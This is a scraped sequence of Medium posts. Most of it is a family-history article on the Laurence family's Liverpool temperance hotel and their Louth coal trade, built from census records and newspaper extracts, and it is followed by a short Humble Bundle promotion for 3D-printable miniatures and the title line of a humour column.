William Michael’s son Thomas Davy, her cousin is due to transfer to the Newcastle Quaker meeting on 28 August 1862 and live and work at 174 the High Street, Sunderland, age 14 training with Quakers Joshua Wilson & Brothers to be a wholesale grocers’ assistant. His future wife, Kate, age eleven, lived with her father Reverend William Parkes from 1855 to 1864 in Monkwearmouth, Sunderland. Maybe, they met.
`Family and Commercial’ perfectly describe the Laurence family through the Nineteenth Century.
Thomas Davy Laurence the later proprietor of the Temperance Hotel was born in Sheffield in 1846 to William Michael Laurence and Frances Davy. William Michael LAURENCE was a son, one of five children of coal merchant Thomas LAURENCE and his wife Mary TEFT who lived and worked in Louth, Lincolnshire. William moved to Sheffield where he married Frances Anne DAVY who came from a very respected Quaker family, originally from a small village outside Keighley.
He married Kate on 6 July 1870 at Great Georges Street Chapel in a ceremony conducted by her father William Parkes who was an Independent Minister. They did not live at the hotel and over the years moved to various properties in the more prosperous areas of the city, accompanied by at least two servants and a monthly nurse.
Thomas Davy returned to the Liverpool Quaker meeting on 25 April 1867. In his will his father William Michael added a codicil to his original. The codicil dated 19 August 1869 stated “ I have lately entered into Articles of partnership with my son Thomas Davy for the carrying on the business of Hotel Keeper at the Temperance Hotel, Clayton Square, Liverpool for a term of five years and have also sold unto him one half of all the household goods furniture and other effects in the said Hotel including one half of the Goodwill for the sum of three thousand pounds to be paid and secured to me with interest …” It also states that his son could purchase the Hotel for twenty thousand pounds or write a letter to his executors and purchase it for three thousand pounds. His father died on 3 February 1874. The five year term would have expired on 19 August 1874.
BACKGROUND
Achitecturally, the hotel is made up of two early Victorian classically styled houses. They often had decorative French balconies on the first level. LAURENCES Temperance Hotel was made up of two properties, 20 and 21, Clayton Square.
20, Clayton Square
After four years William Brown moved his business here in 1841 to re-establish his Browns Commercial And Family Hotel. It had twelve rooms. One famous occupant was the American Frederick Douglass who wrote a letter to various English newspapers expressing his dismay at the racial prejudice he experienced from the Captain and crew of the ship, Cambria.
March 1854, William was involved in a court case, involving theft. On Saturday in October 1853, Mr BEVERIDGE, a commercial traveller in confectionery, who had used the Hotel for four years, left his writing desk containing £64.00 some of it in gold, with other writing desks in the hotels commercial room. On Tuesday the desk had disappeared to be found later rifled through. The court found in favour of Mr. Brown, as Mr Beveridge had not properly looked after his property.
By the 1851 census William Brown had moved to Sheffield, his wife’s birthplace, to take up the trade of Fruiterer. His hotel was now the home of John Arkwright, married, 50 (b 1811) who was a mariner from Liverpool, Lancashire and his wife Jane also from Liverpool and their son and daughter, James and Margaret Ann. William took over 21, Clayton Square first in May 1856, acquiring 20, Clayton Square between 3 May and 13 May 1864.
21, Clayton Square
In 1822 it was the home of Mr Hartley of the English Opera House who gave a series of lectures on poetry, and in the same year the residence of Mr Young who performed part of Shakespeares King Richard the Third.
In the 1851 census the property was leased by a Joseph MARTIN, a Widower, aged 53, Hotel Keeper Kirby, Warwickshire MARTIN, Charles Son Unmarried M 23 1828 Clerk In An Office Liverpool, Lancashire BOOTHBY, Harriet Esther Servant Unmarried F 41 1810 House Keeper Treuddyn, Flintshire DIX, Sarah E Unmarried F 18 1833 Bar Maid Fenton, Staffordshire JONES, Catharine Unmarried F 28 1823 Cook North Wales WILLIAMS, Jane Unmarried F 24 1827 Chambermaid Welshpool, Montgomeryshire FOSTER, Jane Unmarried F 21 1830 Waitress Huyton, Lancashire IRVING, Mary Widow F 23 1828 Kitchenmaid Holyhead, Wales JONES, Mary Unmarried F 21 1830 Waitress Welshpool, Anglesey HEWETT, Ivar F 16 1835 Chamber Maid Flintshire, Wales BIRCHELL, Eliza F 23 1828 Chamber Maid Manchester, Lancashire RADCLIFFE, Sarah Servant Unmarried F 27 1824 Waitress Bedford, Lancashire, Anne Unmarried F 16 1835 Kitchen Maid Taplow, Flintshire, Wales EMMERY, Henry Servant Unmarried M 21 1830 Porter To Boots Stone, Staffordshire JONES, Thomas Servant Unmarried M 36 1815 Porter To Boots Kearn, Montgomeryshire, Walesn SHEEN, Charles Servant Unmarried M 14 1837 Porter To Boots Liverpool, Lancashire MOORE, Edward Widower M 47 1804 Agent Isle of Man GILL, William Visitor M 47 1804 Gentleman Isle of Man BRINSLEY, Richard Visitor Unmarried M 40 1811 Commercial Traveller Southport, Lancashire MORGAN, John M Visitor Married M 33 1818 Commercial Traveller Maiden, Essex HOGG, John F Visitor Married M 54 1797 Commercial Traveller Hull Kington Hall WHITE, Edward Visitor M 54 1797 Commercial Traveller Leicestershire nf BAKER, Joseph Visitor M 36 1815 Commercial Traveller Littleworth, Leicestershire PLUMLEY, Josiah F Visitor M 34 1817 Commercial Traveller Wolverhampton BLOGG, John Visitor M 45 1806 Commercial Traveller London
The Hotel in Manchester
In 1849, William bought the lease for a hotel at 30, Piccadilly, Manchester and moved to that city with wife and family. In the Leeds Mercury dated Saturday June 24 1843 A.H.Smith the new owner of 30, Piccadilly advertises the opening of his new hotel as a Temperance Hotel and family and commercial boarding house ‘within a few minutes walk of the Centre of the Town, and very favourably situate for those en route to and from London. Omnibuses pass the House to and from the the various Railway Stations. Private sitting rooms with cheerful aspects.’ His next advert in the Leeds Mercury, Saturday, May 11, 1844 describes the Hotel as ‘having been considerably enlarged’ and it provides ‘Breakfast on the Table upon the arrival of the London Early Train at Five a.m., and well-aired Beds always ready.’ I have not discovered why A.H.Smith decided to leave as Hotel Proprietor. In the Advertisements & Notices section of The Liverpool Mercury dated Tuesday, February 6, 1849 William Michael Laurence published his first advert for his new venture. It announced the opening of Laurences Temperance Hotel Family and Commercial Boarding House 30, Piccadilly (late Smiths). The Above house is within five minutes walk of the London and Birmingham and Sheffield and Lincolnshire Railway Station. The House has been thoroughly refitted and beatified, and every attention will be paid to the comfort of Commercial Gentlemen and Families who honour us with their patronage. Excellent Private sitting rooms and every attention has been paid to the comfort and cleanliness of the tied rooms. In the March edition there is a second and last advert exactly the same as the above. William and his young family lived at number 28, according to the water damaged 1851 census.
Where did Thomas Find The Money To Buy A Hotel?
In the Manchester Examiner for Saturday, December 20th, 1851 are advertised THE BRITISH MUTUAL LOAN ASSURANCE CLASSES FOR MANCHESTER. It states “The FOURTH MEETING of Class no.1. and the FIRST MEETING OF Class B, no.9, will be held at Laurences Hotel, 30, Piccadilly, on Friday evening, the 26th instant, at six o’clock, when a SALE of SHARES will take place. These loan classes afford great opportunity to the borrower, for return of capital, by easy payments spread through a term of four years, whilst they secure a most ample return to the investor. Applications for shares, and other information, may be obtained on application to Mr.Laurence, at the hotel.”
The same interest in providing financial services continued when he moved to Clayton Square. The Liverpool.Mercury for Monday, December, 30, 1861 has William as one of five trustees of the SECOND ROCK PERMANENT building society and in an advert in the Liverpool Mercury, Monday, April 6, 1863, W. M. Laurence is quoted as the President of the CROMWELL PERMANENT BENEFIT BUILDING SOCIETY and Mutual Investment Fund. In the Daily Post, Thursday, December 19, 1867, he is quoted as one of the persons to communicate with if you wish to join the THIRD PRUDENTIAL BUILDING SOCIETY. In the Daily Post, Wednesday, March 11, 1868 for the EIGHTH ANNUAL MEETING of NESTOR PERMANENT BUILDING SOCIETY W.M.Laurence is president.
In 1864 when Thomas purchased the other half of the hotel he began to develop it. The best description of what it became is in an advertising article called “A Century of Progress” published in 1900. It states, “the number of rooms was increased from tweve to “boast of no less than eighty. The premises, as they at present stand , consist of an exceedingly handsome four-storeyed brick building, with a bold frontage of seventy feet, and having an ornamental balcony running the whole length of the first storey. On the ground floor there is a capital billiard saloon, perfectly equipped, and provided with a first-class full-sized table; a large and exceedingly comfortable dining room, and a capitally appointed commercial-room, besides ten well-lighted stock-rooms, several of them of a very large size. Ascending to the first floor, one comes upon a cosy coffee-room, private sitting-rooms, and apartments en suite. Here again we find several new stock-rooms. The upper-floors are fully utilised for the bedroom accommodation, each chamber embodying all the latest hygienic improvements in the way of lighting, ventilation, &c. “
1915 Advert
THE TEMPERANCE MOVEMENT
At Preston in 1833 Joseph Livesey opened the first temperance hotel. In simplistic terms the battle in Liverpool was between Cain, a Conservative who owned breweries, pubs and hotels and the Liberal party that promoted temperance. Thomas Davy was an elected member of the Liberal party. He promoted temperance through encouraging speakers such as the American Neal Dhow, who was also a Quaker. Neal Dhow on his visit to England to promote ‘The Maine Liquor Law’ had a public breakfast at Laurences. In 1857, J B Gough, recently disembarked from The Niagara steamship, the eloquent temperance advocate’, also had a public breakfast at Laurences, before delivering a two hour lecture promoting the ‘Maine Law’.
THE LIBERAL PARTY
In July 1865, a crowd gathered in Clayton Square awaiting Liberal candidates who had been defeated in the local election to appear and make speeches from the elaborately decorated balcony of Laurences Hotel. Thomas Davy was elected to the Lime Street ward in 1890, having in 1877 been a Liberal member of the Liverpool Select Vestry that managed the cities Workhouse.
STAFF
The longest serving staff member was linenkeeper Rosamond EVISON, a niece of William Michael LAURENCE. She was born in Quarry Lane Louth on 1 August 1850 the daughter of Mary Ann LAURENCE and John EVISON, a local butcher. Mary Ann was one of the daughters of Thomas Laurence and sister to William Michael Laurence. From 1861 she is registered on the census as living and from 1871 as working at Laurences Temperance Hotel. She never married and the last reference to her I can find is at the age of 61 in the 1911 census performing the same job she began about 40 years ago. Her sister worked briefly there too, as Housekeeper.
There were a succession of housekeepers, the last one I can find is Alice S BINNS in 1911. The earliest advert for staff at the hotel was in the May 2nd 1856 Liverpool Mercury and requests a plain cook. Other adverts ask for an Under Boots, Ostrich Feather Hands and Laundress. On each census the staff differ, apart from Rosamond.
One employee, Elizabeth VIGGER, a ‘young woman’ appeared in Liverpool Police Court accused of stealing from the hotel a leather bag, worth £4.00. Using the census material there are approximately 20 Staff to 15 customers.
CUSTOMERS
There are families mentioned as staying at the hotel, but lone commercial travellers are the most common. Some customers, such as John White used the hotel as a contact address for his business selling leases for property or, advertising their services, as A Gentleman Wants an engagement as a selector of cheese and butter in America. Others wrote letters quoting the address of the hotel.
In1880 one customer, Thomas JONES, is given the headline An Madman At An Hotel. He was a gentlemanly looking man who formerly had been an officer in the London & Westminster Bank, Lothbury. At the time he was a pensioner of that institution on £87.10 a year.
He had left home on Sunday 8th August, after having assaulted his mother-in-law, and physically threatened his wife. Since then his family had been trying to have him placed under necessary restraint. The necessary steps were being taken, but on Friday he was lost sight of . He had been confined in the Bethlehem Hospital and was discharged as it was thought he was on the point of death. Thomas recovered his health and mind. After booking into the Hotel, he cut up bedlinen (Rosamond would not have been pleased), threw a brick at the pier glass, doing damage to the cost of £30.00. In todays money this amounts to more than a thousand pounds worth of damage. He stated he had been tipsy from drinking champagne.
The Court submitted him to the care of the workhouse. Curiously, Thomas was Chairman of the Liverpool Select Vestry who managed the City workhouse.
1880 was an eventful year for the Hotel as it also featured in a jewellery robbery. In The Morning Post November 6th it was reported that The London and North Western Railway Company was entrusted on the 29th January with the delivery from Birmingham to Liverpool of three cases of jewellery. A commercial traveller called Mr. Holland, staying at Lawrences Hotel was to take the delivery. Two of the parcels arrived either on the 29th or the morning of the 30th, and were received by Miss Beresford, the clerk of the hotel. She had signed the van drivers note as if there were three, and realising her mistake spoke to the van driver who promised to go back and get it. This parcel consisted of gold pins, signet rings, and other articles. At the last Warwick Assizes the jury had ruled that the Railway Company should pay 1 shilling for the delay, and the value of the missing parcel £47.00. The Railway Company contended that Mr. Hindley, the van driver was not their employee, but the servant of Mr. Thurston, who was employed to collect all such parcels and goods for the Railway Company. Nothing was heard of the missing parcel until the 10th February, when Inspector Allenson of the Liverpool Police was called in by a pawnbroker (not I suspect a Laurence ancestor from Bridgewater Street) and shown several articles of the missing jewellery, which had been pawned by two men named Ralph and Buchanan, who were thereupon arrested on a charge of felony. However, there was no evidence to connect them with the Railway Company or their servants.
In 1891, a five foot copper circulating boiler tank attached to the back of the hotel exploded. It rose into the air and over the surrounding buildings to land in the courtyard of the Central Railway Station. Thomas Davy was in his ground floor office at the time and came out to find out what caused the noise. The explosion caused extensive internal damage to the kitchen and scullery. Surprisingly, no one was hurt, but there were some close escapes.
T.D. LAURENCE PRESIDENT OF LIVERPOOL INVESTMENT BUILDING SOCIETY
In the annual report of the Liverpool Investment Buiding Society stated January 1st. 1924 states:
“ The retiring Directors are…Mr. Thomas D. Laurence. Mr. Laurence does not seek re-election, owing to his having removed to Devonshire. He was the senior member , having been elected to the Board in 1893, and for several.years he filled the office of President.”
HOTEL DEMOLITION
The hotel was demolished in June 1921. In the council demolition records the owner of the property is a Mr. Brown. On the back of the two photos of the demolition taken by the chief librarian of the day is a note stating that the demolition was due to the expansion of Browns Drapers. The Liverpool Echo for Tuesday, August 22, 1916 has an advert for Brown’s Drapers Rebuiding and Extension SALE advises “…To afford their thousands of customers every facility and comfort Brown’s have acquired the adjoining building at the corner of Clayton Square and Parker Street and it is now being ‘re-constructed for them.” The address for Brown’s was 12–14–16–18 Parker Street. Parker Street was immediately behind the hotel, so when it was sold Brown’s attachment_37" align=”alignnone” width=”300"] Demolition, 1922 was enlarged, enabling entrance via Clayton Square.
Thomas Laurence, Coal Merchant and sloop owner
Thomas LAURENCE owned shares in a sloop, called ‘Alpha’, that exported corn to Hull, importing coal on the return journey.
According to local newspaper reports the sloop “Alpha” under Mark AARON’s Captainship also transported coal and goods to Wisbech, Cambridgeshire from Goole returning with corn and fruit. Goole to Wisbech converted to statutory miles is 127.16. Hull to Louth is 32.86. Both would take a few days I reckon. Then there is loading time to add.
One example I have found in the local newspapers. The Alpha under Mark AARON in the Leeds Intelligencer, 18/06/1842, for period June 9–16 coasters inwards for Wisbech with coal, then Lincolnshire Chronicle, 24/06/1842, sailed for Goole with corn and fruit.
The `Alpha`, official number (14410) In the Goole shipping register, NSG/3 page 11, entry relating to ‘Alpha’ dated Jul 1841, the Registration number/year is 30/1841 and name of master: Mark AARON. It states it was built in Thorne in 1841 by William ATKINSON as a sloop. The names of owners at time of registration were Mark AARON, Thorne, master mariner, Thomas LAWRENCE, Louth, merchant, John Booth SHARPLEY, Louth, merchant. Last entry: includes entries to 1854.
Other sections include: burthen: 43 2481 over 3500 tons, Surveying Officer: Thomas Parry TIDE, number of decks: one, number of masts: one, length from inner part of the Main Stem to the fore part of the Stern aloft is 5 feet, breadth in Midships is 13 feet, depth in the hold at Midships is 6 feet one tenth, type of bowsprit: round, number of shares for each owner: Mark had 22, Thomas and John 21 each to make up the 64 shares that were had in a vessel.
Mark had the controlling shares, so Goole to Wisbech and back may well have been his own.
William Atkinson (19 Mar 1787-Sept 1854) was from a shipbuilding family, canal side, Thorne, nr. Doncaster. Mark AARON (1791–6 July 1865), also had a son of same name (1828–1874), who took over captainship of ‘Alpha’.
In 1848, Thomas sold his shares back to John Booth SHARPLEY, who in turn in 1867, sold the ship to William BELL of Hull. Tom LAURENCE became insolvent in 1851.
Sloops mainly handled bulk cargoes between the Humber ports, carrying farm produce from Lincolnshire, coal from the West Riding, bricks and tiles between both sides, cement and chalk stone from Barton and South Ferriby to Hull and transhipping phosphates back to the fertiliser works. In summer the sea going trade would be to Louth, Saltfleet, the ports of the Wash and on south to the Thames, to the north trade would be to Bridlington, the Tyne and all ports between.
Louth Navigation Trust (http://www.louthcanal.org.uk/)
are doing a brilliant job of researching the canal, recording its history and looking after it.
Thomas as Coal Merchant (1826–1868)
Thomas Laurence was my fourth great grandfather. In an earlier article I spoke of his move from his birthplace at Langton by Partney to Louth and his employment as Collector of tolls for the Louth Navigation which went from the Riverhead at Louth to Tetney. This article covers the rest of his life.
In the plan of the Riverhead made by Padley in 1828 on the previous page it shows two properties, one owned by the partnership of Sharpley and Lawrence and the other by Thomas Lawrence. As a Collector of Tolls for the Navigation it would have made sense for Thomas to rent property at the Riverhead. The 1830 and 1832 Returns give a description of Thomas property. In 1830 he still leases land from CHAPLIN F & G for 4s, but as a Coal Merchant and no longer employed by the Chaplin family he has moved away from the Riverhead and owns and leases a House and Shop for 1 shilling. In 1832 he owns a house in Goospool (todays Gospelgate) at 1 shilling and leases land at the River Head from CHAPLIN F & G for 4 shillings and also land from STEPHENSON & WRIGHT at £2.4ad.
The CHAPLIN family seem to have exercised considerable influence from the inception of the canal. Despite the terms of the 1763 Act, Charles CHAPLIN managed to obtain a lease for 99 years, and successful in getting their Bill through parliament in 1828.
Also note that James Pulteney CHAPLIN and the Rev. Henry CHAPLIN were major shareholders in 1840, and would still exert considerable influence.
Control of the management & tolls became virtually hereditary within the Tathwell branch of the CHAPLIN family. When Charles died, he was succeeded by his son Thomas, who in turn was succeeded by a George CHAPLIN, a legatee of Thomas.
Why Did Tom Become A Coal Merchant?
Louth was a growing town, with plenty of coal needed to supply the tanneries, a soapery and several breweries. A carpet and blanket factory needed coal for its steam engine introduced in 1834. By 1835 there were three agricultural machine makers in the town, and by 1855 six. By 1842 there were nine lime kilns. In 1826 it had more corn and coal merchants than Grimsby. In the decade of the 1850 Louth became the third largest town in the county after Lincoln.
In The Lincolnshire Chronicle, dated 1838, 28, December ‘ the tender was accepted Mr. Thos. LAWRENCES, for coals, -WILSONS Silkstone’s, 19s 6d.per ton: good common, 16s. 6d. per ditto.’ to be provided to Louth Workhouse. This is not recorded in the Workhouse Minutes.
In The Lincolnshire Chronicle dated 3 May, 1839, there is recorded the Trust Account of Bolles Charity 1838–1839. In the payments for 1838 are one to Messrs. SHARPLEY and LAWRENCE for £7 17s 2d. In The Lincolnshire Chronicle dated 24, June 1842 for Louth Union Workhouse, best coals at 17s. per ton, common coals at 13s. However, no mention is made of their name in the Louth Workhouse minutes of the time. Only that of George SUTTON.
On 23 April 1847 the Lincolnshire Chronicle records that Sharpley and LAWRENCE were granted a contract to supply Louth prison with coal. In William Browns Louth Panorama of 1844, see picture there is a warehouse at the Riverhead that shows the name of ‘LAURENCE’.
Who was John Booth Sharpley?
The first trade directory reference to the partnership between Tom and John Booth SHARPLEY occurs in 1826.
John Booth SHARPLEY was born 27 March 1800 and died 4 June 1872. His father was Anthony SHARPLEY b. 1771, d. Oct 1834. His mother Ann BOOTH born on 27 March 1800 in Louth, Lincolnshire.
He became a magistrate in 1849 and was a Corn & Coal Merchant. He married Elizabeth HAY on 23 September 1824 at Waltham, Lincolnshire. He was mayor of Louth three times, 1840,1849,1854 He was buried on 24 June 1872 at Louth, Lincolnshire and in 1874 a plaque was erected to his memory in Louth Methodist Chapel.
What premises did they own at the River head?
In the 1828 survey of the LOUTH Navigation by Padley, he gives the following description, the numbers refer to his plan of the Riverhead:
“№13.A. Warehouse at the River Head, length 85 feet 6 inches, breadth 24 feet 24 inches, height of walls 22 feet 6 inches, gable ends, built of brick , and covered with slate; consists of a Ground floor and two others, in good repair, in the occupation if Messrs. LAWRENCE and SHARPLEY.- №13.B consists of an Office, Stable, and Tenement; width of North end 15 feet 5 inches, West side 42 feet 7 inches, width of South end 16 feet 4 inches, brick-work, 1 feet 6 inches high, and wall 9 feet high, North wall 7 feet high, built of brick, and covered with boards 8 feet above the brick-work, built of wood on the East side, brick and wood on the West side; going to decay.-№13.c. part of the above building, length of South wall 29 feet 9 inches, brick-work 4 feet high, wood-work 4 feet 6 inches high, width of ends 14 feet.-13.D. consists of a Shoemakers Shop and a Tailors Shop, length 22 feet 6 inches, width 7 feet 6 inches, South pantiles; in good repair. From №12 to №13.D. inclusive are in the occupation of Messrs LAWRENCE and SHARPLEY, and contain 2 roods and 20 perches.
Louth Navigation
Padley’s 1828 survey and the 1841 Census shows The Riverhead as a clearly a community in its own right. It had two public houses, the Woolpack and the Ship, a butcher’s shop and a druggist (Thomas son Charles who had moved there in 1836) who also functioned as a grocer. It was a busy place with the arrival and departure of boats, goods being loaded and unloaded and grain being prepared for the brewing trade in the drying kilns.
For the craftsmen and labourers there were rows of small terraced houses known as tenements.The artisans who lived here mostly had trades or skills linked to the work of the canal. The largest group were mariners, followed by ship’s carpenters and rope makers. Thomas LAURENCE owned shares in a sloop, called ‘Alpha’, that exported corn to Hull, importing coal on the return journey. According to local newspaper reports the sloop “Alpha” under Mark AARON’s Captainship also transported coal and goods to Wisbech,
Cambridgeshire from Goole returning with corn and fruit. Goole to Wisbech converted to statutory miles is 127.16. Hull to Louth is 32.86. Both would take a few days I reckon. Then there is loading time to add. One example I have found in the local newspapers. The Alpha under Mark AARON in the Leeds Intelligencer, 18/06/1842, for period June 9–16 coasters inwards for Wisbech with coal, then Lincolnshire Chronicle, 24/06/1842, sailed for Goole with corn and fruit.
The `Alpha`, official number (14410)
In the Goole shipping register, NSG/3 page 11, entry relating to ‘Alpha’ dated Jul 1841, the Registration number/year is 30/1841 and name of master: Mark AARON. It states it was built in Thorne in 1841 by William ATKINSON as a sloop.
The names of owners at time of registration were Mark AARON, Thorne, master mariner, Thomas LAWRENCE, Louth, merchant, John Booth SHARPLEY, Louth, merchant. Last entry: includes entries to 1854
Other sections include: burthen: 43 2481 over 3500 tons, Surveying Officer: Thomas Parry TIDE, number of decks: one, number of masts: one, length from inner part of the Main Stem to the fore part of the Stern aloft is 5 feet, breadth in Midships is 13 feet, depth in the hold at Midships is 6 feet one tenth, type of bowsprit: round, number of shares for each owner: Mark had 22, Thomas and John 21 each to make up the 64 shares that were had in a vessel. Mark had the controlling shares, so Goole to Wisbech and back may well have been his own.
William Atkinson (19 Mar 1787-Sept 1854) was from a shipbuilding family, canal side, Thorne, nr. Doncaster.
Mark AARON (1791–6 July 1865), also had a son of same name (1828–1874), who took over captainship of ‘Alpha’.
In 1848, Thomas sold his shares back to John Booth SHARPLEY, who in turn in 1867, sold the ship to William BELL of Hull. Tom LAURENCE became insolvent in 1851.
Sloops mainly handled bulk cargoes between the Humber ports, carrying farm produce from Lincolnshire, coal from the West Riding, bricks and tiles between both sides, cement and chalk stone from Barton and South Ferriby to Hull and transhipping phosphates back to the fertiliser works. In a summer the sea going trade would be to Louth, Saltfleet, the ports of the Wash and on south to the Thames, to the north trade would be to Bridlington, the Tyne and all ports between.
Toms sons also became active in the town, and his daughter married into the EVISON family that became entwined with the history of the LAURENCEs.
Mary Ann LAURENCE, born 1820 in Louth and baptised 29 Jul 1820. She married John EVISON (born 1820, in Louth) in the June quarter of 1846. They had three daughters: 1848 Helen EVISON, 1849 Mary Ann EVISON, 1850 Rosamond EVISON. All born in Louth. The census of 30 Mar 1851 has them living on Quarry Lane.
SHARPLEY And LAWRENCE Partnership Dissolved
In Lincoln, Rutland and Stamford Mercury, Friday, December 20, 1850 and quoted in the London Gazette of the time.
Insolvency
In Lincoln, Rutland and Stamford Mercury, Friday, January 31, 1851 and the London Gazette:
LAWRENCES ASSIGNMENT
Notice, is hereby given, that THOMAS LAWRENCE, of Louth, in the county of Lincoln, coal merchant, hath, by Indenture bearing date the Seventeenth day of January, one thousand eight hundred and fifty one, conveyed and assigned all his, real and personal estate and effects unto FREDERICK CHAPLIN, of Tathwell, in the said county, Esquire, and WILLIAM ALLINSON DUNN, of Louth aforesaid, gentleman, their heirs, executors, administrators, and assigns, upon trust for the equal benefit of all such of the Creditors of the said Thomas LAWRENCE as shall execute the said Indenture within two calendar months from the date thereof; which said Indenture was executed by the said Thomas LAWRENCE and William Allison DUNN on the day of the date thereof, and by the said Frederick CHAPLIN on the 25th day of January instant, and is attested as to the execution thereof by the said Thomas LAWRENCE, Frederick CHAPLIN, and William Allison Dunn, by Field FLOWERS or, of Louth, aforesaid, attorney-at-law, and John PORTER of the same place, his clerk. And Notice is hereby also given, that the said Indenture is now lying at our office for execution by the Creditors of the said Thomas LAWRENCE:-and that all persons indebted to the estate of the said Thomas LAWRENCE, are to pay the amount of their respective debts to the said William Allison DUNN.
Dated the 27th day of January, 1851.
By order, for and WILSON, Solicitors, Louth
In the 1851 census we find Thomas and Mary living with John & Mary Ann EVISON in Quarry Lane, Louth:
EVISON, John Head Married M 30 1821 Butcher (Master 1 Ap)
Louth, Lincolnshire
EVISON, Mary A Wife Married F 30 1821
Louth, Lincolnshire
EVISON, Helen Daughter Unmarried F 3 1848 Louth, Lincolnshire
EVISON, Mary Ann Daughter Unmarried F 2 1849 Louth, Lincolnshire
EVISON, Rosamond Daughter F 0 (6 MOS) 1851 Louth, Lincolnshire
LAWRENCE, Thomas Father-In-Law Married M 69 1782 Coal Merchant Langton, Lincolnshire
LAWRENCE, Mary Mother-In-Law Married F 67 1784 Alvingham, Lincolnshire
LAWRENCE, TEFT Brother-In-Law Unmarried M 28 1823 Watch Maker, Louth, Lincolnshire
FLETCHER, Samuel Apprentice Unmarried M 18 1833 Ap Butcher
Yaxley, Northamptonshire
WRIGHT, Kate Servant Unmarried F 22 1829 House Serv, Louth
STUBBS, Elizabeth Servant Unmarried F 14 1837 House Servant, Grainthorpe, Lincolnshire
Why Did Tom Become Insolvent?
In simple terms, the railway arrived in Louth in 1848 and bought the lease for the Louth Navigation. Also, there was the added competition of more coal merchants in the town. Tom would not have been blind to the effect of the railway on the canal. In 1847 two railway Acts were passed. The first authorised the East Lincolnshire Railway Company to purchase the existing lease for the collection of tolls of the Louth Navigation. The second Act enabled the Great Northern Railway Company to purchase the East Lincolnshire Railway and Canal. In S.M. SIZERS opinion the G.N.R. took on the lease to prevent the canal from competing with them. He, also, asserts that they would have put the toll charges up to the maximum the Act permitted. Making transportation by rail more attractive, and the transportation of coal more expensive.
On 19 Mar 1860, Toms wife Mary died of old age. Perhaps, because he was lonely in the 1861 census Thomas is living at his son William Michaels Temperance Hotel in Clayton Square, Liverpool.
LAURANCE, William M Head Married M 44 1817 Temperance Hotel Louth, Lincolnshire LAURANCE, Francis Ann Wife Married F 42 1819 Sheffield, Yorkshire
LAURANCE, Emily Daughter Unmarried F 19 1842 Sheffield, Yorkshire
LAURANCE, Fanny Caroline Daughter Unmarried F 5 1856 Scholar Manchester, Lancashire
LAURANCE, Charles M Son Unmarried M 4 1857 Scholar Liverpool, Lancashire LAURANCE, Thomas Father Widower M 79 1782 Gentleman Langton, Lincolnshire EVISON, Rosamond Niece Unmarried F 10 1851 Scholar Louth, Lincolnshire
DAVIES, William Visitor Married M 41 1820 Commercial Traveller Bristol, Gloucestershire
BICKERTON, David Visitor Unmarried M 30 1831 Commercial Traveller Scotland MILLING, Mary Servant Unmarried F 33 1828 Waitress Bentham, Yorkshire
PARSONS, Helen Servant Unmarried F 23 1838 Housemaid Liverpool, Lancashire HALLIDAY, Mary Ann Servant Unmarried F 22 1839 Kitchen Maid Liverpool, Lancashire MEAKIN, Elizabeth Servant Unmarried F 28 1833 Chambermaid Liverpool, Lancashire CARSEN, Jane Servant Unmarried F 47 1814 Cook Scotland
WILLIAMS, William Servant Unmarried M 21 1840 Boots Whitchurch, Shropshire
1861 census, date: Sunday 7 April. Her mother dead and her father knowing he was having financial difficulties, Rosamond may have been sent as assurance to be employed in Willam Michaels Liverpool Temperance hotel. So we find her described in the 1861 census
LAURANCE, William M Head Married M 44 1817 Temperance Hotel Louth, Lincolnshire LAURANCE, Francis Ann Wife Married F 42 1819 Sheffield, Yorkshire
LAURANCE, Emily Daughter Unmarried F 19 1842 Sheffield, Yorkshire
LAURANCE, Fanny Caroline Daughter Unmarried F 5 1856 Scholar Manchester, Lancashire
LAURANCE, Charles M Son Unmarried M 4 1857 Scholar Liverpool, Lancashire LAURANCE, Thomas Father Widower M 79 1782 Gentleman Langton, Lincolnshire EVISON, Rosamond Niece Unmarried F 10 1851 Scholar Louth, Lincolnshire
DAVIES, William Visitor Married M 41 1820 Commercial Traveller Bristol, Gloucestershire
BICKERTON, David Visitor Unmarried M 30 1831 Commercial Traveller Scotland MILLING, Mary Servant Unmarried F 33 1828 Waitress Bentham, Yorkshire
PARSONS, Helen Servant Unmarried F 23 1838 Housemaid Liverpool, Lancashire HALLIDAY, Mary Ann Servant Unmarried F 22 1839 Kitchen Maid Liverpool, Lancashire MEAKIN, Elizabeth Servant Unmarried F 28 1833 Chambermaid Liverpool, Lancashire CARSEN, Jane Servant Unmarried F 47 1814 Cook Scotland
WILLIAMS, William Servant Unmarried M 21 1840 Boots Whitchurch, Shropshire
As William Michaels father Tom was also there for the census, perhaps he accompanied Rosamond.
Death
Thomas died of bronchitis and old age on 29 October 1868 at Aswell Lane. In attendance was Richard Boyle, watchmaker, who married Tom’s son Taft’s widow. Teft had watchmaking premises in Aswell Lane for some time.
References
Land Tax research done by Suzanne Mendel.
With kind permission from Liverpool Archives to print photos of Laurence's Temperance Hotel.
With kind permission to print pictures and advice from Stuart Sizer and his work ‘People And Boats’ and provide the detail from William Browns 1844 Louth Panorama.
“Alpha” information kindly provided by Goole Maritime Museum | https://medium.com/@PaulDragonwolf1/extracts-from-my-family-history-articles-43efba294d3e | ['Paul Brookes'] | 2016-12-15 12:55:32.685000+00:00 | ['History', 'Genealogy', 'Liverpool', 'Hotel', 'Industry'] |
Start your 3D printing journey with 50 pre-supported minis & stat blocks | Boost your 3D printing and RPG experience with this collection of 50 miniatures, including 5e stat blocks and lore!
Boost your 3D printing and RPG experience with this collection of 50 miniatures, including 5e stat blocks and lore. Created by Highcraft Miniatures, each model comes pre-supported, tested, and ready to print. Whether you’re looking for new monsters for your 5e campaigns or are into wargaming and painting, these 3D printable minis will level up your tabletop nights.
Your purchase of this bundle helps support the American Cancer Society, a nationwide, community-based voluntary health organization dedicated to eliminating cancer as a major health problem, and St. Jude Children’s Research Hospital, leading the way the world understands, treats, and defeats childhood cancer. You’ll also be able to support the charity of your choice.
The Fantasy Miniatures for 3D Printing bundle launched on November 22, at 11:00 am PST and lasts through December 13, 2021. Pay what you want and support charity! | https://medium.com/@Humble_Bundle_Partner_Blog/start-your-3d-printing-journey-with-50-pre-supported-minis-stat-blocks-874e677b9261 | ['Humble Bundle Partner Blog'] | 2021-11-23 14:30:58.037000+00:00 | ['Fantasy', 'Dnd', 'Rpg', 'Dungeons And Dragons', '3D Printing'] |
Texas, I will Only Miss a Small Part of You When You Secede | Texas, I will Only Miss a Small Part of You When You Secede Greg Schwem Follow Dec 15 · 4 min read
